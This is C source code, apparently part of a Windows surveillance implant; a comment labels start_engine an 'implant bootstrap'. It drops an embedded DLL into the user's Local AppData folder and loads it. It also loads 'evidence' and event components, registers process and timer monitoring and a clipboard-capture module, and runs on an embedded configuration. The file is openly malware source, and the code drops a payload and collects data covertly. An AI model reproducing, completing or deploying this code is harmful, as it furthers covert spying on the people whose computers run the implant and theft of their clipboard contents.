#include "EventsActionsEngine.h"
#include "utils.h"
#include "eventmanager.h"
#include "actionmanager.h"
#include "modulemanager.h"
#include "monitor.h"

// tmp
#include <stdio.h>
#include <Shlobj.h>

#include "..\Runtime\Runtime.h"
#include "modules_runtime_definitions.h"

/* events */
#include "..\Events\Events.h"

/* modules */
#include "..\Clipboard\clipboard.h"



//tmp
#include "conf.h"
#include "jsonDll.h"

LPSTR GetAppData()
{

	LPSTR szAppData = (LPSTR)malloc(MAX_PATH + 1);

	if (szAppData)
		//SHGetSpecialFolderPathA(NULL, szAppData, CSIDL_APPDATA, TRUE); 
		SHGetSpecialFolderPathA(NULL, szAppData, CSIDL_LOCAL_APPDATA, TRUE);

	return szAppData;
}

void start_engine(void) {
	/*	implant bootstrap:

	1] load runtime
	2] load components
	3] load events-actions engine

	*/

	OutputDebugStringA("[*] LoadRuntime\n");

	/* 1] load runtime */
	PRUNTIME pRuntime = LoadRuntime();

	OutputDebugStringA("[*] LoadEvents\n");

	/* 2] load components */

	/* 2a] load events */
	EventsLoad(&pRuntime);


	OutputDebugStringA("[*] Load Evidence\n");

	/* 2b] load evidence */
	EvidenceLoad(&pRuntime);

	/* 3] load the engine */

	/* 3a] load json */
	//HMODULE hJsonC = LoadLibraryA("C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\x64\\Release\\json-c.dll");
	CHAR szTargetPath[MAX_PATH];
	_snprintf_s(szTargetPath, MAX_PATH, _TRUNCATE, "%s\\json-c.dll", GetAppData());

	OutputDebugStringA("[*] load dll\n");
	HANDLE hJson = CreateFile(szTargetPath, FILE_GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwBytesOut;
	WriteFile(hJson, jsonDll, sizeof(jsonDll), &dwBytesOut, NULL);
	CloseHandle(hJson);

	HMODULE hJsonC = LoadLibraryA(szTargetPath);

	CHAR* buf[1024];
	_snprintf_s(buf, 1024, 1024, "hJsonC %d %s\n", hJsonC, szTargetPath);
	OutputDebugStringA(buf);

	//HMODULE hJsonC = LoadLibraryA(argv[2]);

	fp_json_object_is_type = (JSON_OBJECT_IS_TYPE)GetProcAddress(hJsonC, "json_object_is_type");
	fp_json_object_object_get_ex = (JSON_OBJECT_OBJECT_GET_EX)GetProcAddress(hJsonC, "json_object_object_get_ex");
	fp_json_object_array_length = (JSON_OBJECT_ARRAY_LENGTH)GetProcAddress(hJsonC, "json_object_array_length");
	fp_json_object_get_boolean = (JSON_OBJECT_GET_BOOLEAN)GetProcAddress(hJsonC, "json_object_get_boolean");
	fp_json_object_get_int = (JSON_OBJECT_GET_INT)GetProcAddress(hJsonC, "json_object_get_int");
	fp_json_object_get_int64 = (JSON_OBJECT_GET_INT64)GetProcAddress(hJsonC, "json_object_get_int64");
	fp_json_object_get_double = (JSON_OBJECT_GET_DOUBLE)GetProcAddress(hJsonC, "json_object_get_double");
	fp_json_object_get_string = (JSON_OBJECT_GET_STRING)GetProcAddress(hJsonC, "json_object_get_string");
	fp_json_object_array_get_idx = (JSON_OBJECT_ARRAY_GET_IDX)GetProcAddress(hJsonC, "json_object_array_get_idx");
	fp_json_object_from_file = (JSON_OBJECT_FROM_FILE)GetProcAddress(hJsonC, "json_object_from_file");
	fp_json_object_from_string = (JSON_OBJECT_FROM_STRING)GetProcAddress(hJsonC, "json_object_from_string");

	json_object *config = NULL;


	/* 3b] load engine specific data */
	PMODULE_SPECIFIC_DATA pEventActionsEngineSpecificData = (PMODULE_SPECIFIC_DATA)malloc(sizeof(MODULE_SPECIFIC_DATA));
	pRuntime->pModuleSpecificData[INDEX_EVENTS_ACTIONS_ENGINE] = pEventActionsEngineSpecificData;

	PVARIABLES_EVENTSACTIONENGINE pVariablesEventsActionsEngine = (PVARIABLES_EVENTSACTIONENGINE)malloc(sizeof(VARIABLES_EVENTSACTIONENGINE));
	pRuntime->pModuleSpecificData[INDEX_EVENTS_ACTIONS_ENGINE]->lpVariables = pVariablesEventsActionsEngine;

	/* 3c] start the engine */
	em_init(pRuntime);
	am_init(pRuntime);
	mm_init(pRuntime);

	OUTPUTDEBUG("[MM] monitor\n");

	/* 3d] monitor registration */
	MONITOR_PROCESS_REGISTER(process_addwatch, process_delwatch);
	MONITOR_TIME_REGISTER(time_addwatch, time_delwatch);

	/* 3e] modules registration */
	MODULE_CLIPBOARD_REGISTER(ModuleClipboardMain, ModuleClipboardFlush);

	/* 3f] parse config */
	//config = fp_json_object_from_file(argv[1]);
	//config = fp_json_object_from_file("C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\ActionEventEngine\\test_2.json");
	config = fp_json_object_from_string(test_2_json);
	em_parseconfig(pRuntime, config);
	am_parseconfig(pRuntime, config);
	mm_parseconfig(pRuntime, config);

	/* 3g] go */
	am_createqueues(pRuntime);
	em_scheduleall(pRuntime);

	while (1) API_SLEEP(10);


}